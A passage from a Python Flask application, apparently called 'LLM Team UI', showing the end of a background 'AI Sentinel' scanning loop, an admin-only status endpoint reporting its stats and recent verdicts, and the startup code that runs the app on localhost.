_sentinel_log_entry("SENTINEL_START model=" + SENTINEL_MODEL + " interval=" + str(SENTINEL_INTERVAL) + "s")
|
|
while True:
|
|
time.sleep(SENTINEL_INTERVAL)
|
|
try:
|
|
_sentinel_scan()
|
|
except Exception as e:
|
|
_sentinel_stats["last_error"] = str(e)
|
|
_sentinel_log_entry(f"SENTINEL_ERROR {e}")
|
|
|
|
|
|
# API for sentinel status
|
|
@app.route("/api/admin/sentinel")
|
|
@admin_required
|
|
def admin_sentinel_status():
|
|
return jsonify({
|
|
"stats": _sentinel_stats,
|
|
"recent_verdicts": list(reversed(_sentinel_results[-20:])),
|
|
"model": SENTINEL_MODEL,
|
|
"interval": SENTINEL_INTERVAL
|
|
})
|
|
|
|
|
|
# Start sentinel thread
|
|
_sentinel_thread = threading.Thread(target=_sentinel_loop, daemon=True)
|
|
_sentinel_thread.start()
|
|
|
|
|
|
if __name__ == "__main__":
|
|
print("\n LLM Team UI running at http://localhost:5000\n")
|
|
print(f" AI Sentinel active: {SENTINEL_MODEL} scanning every {SENTINEL_INTERVAL}s\n")
|
|
app.run(host="127.0.0.1", port=5000, debug=False, threaded=True)
|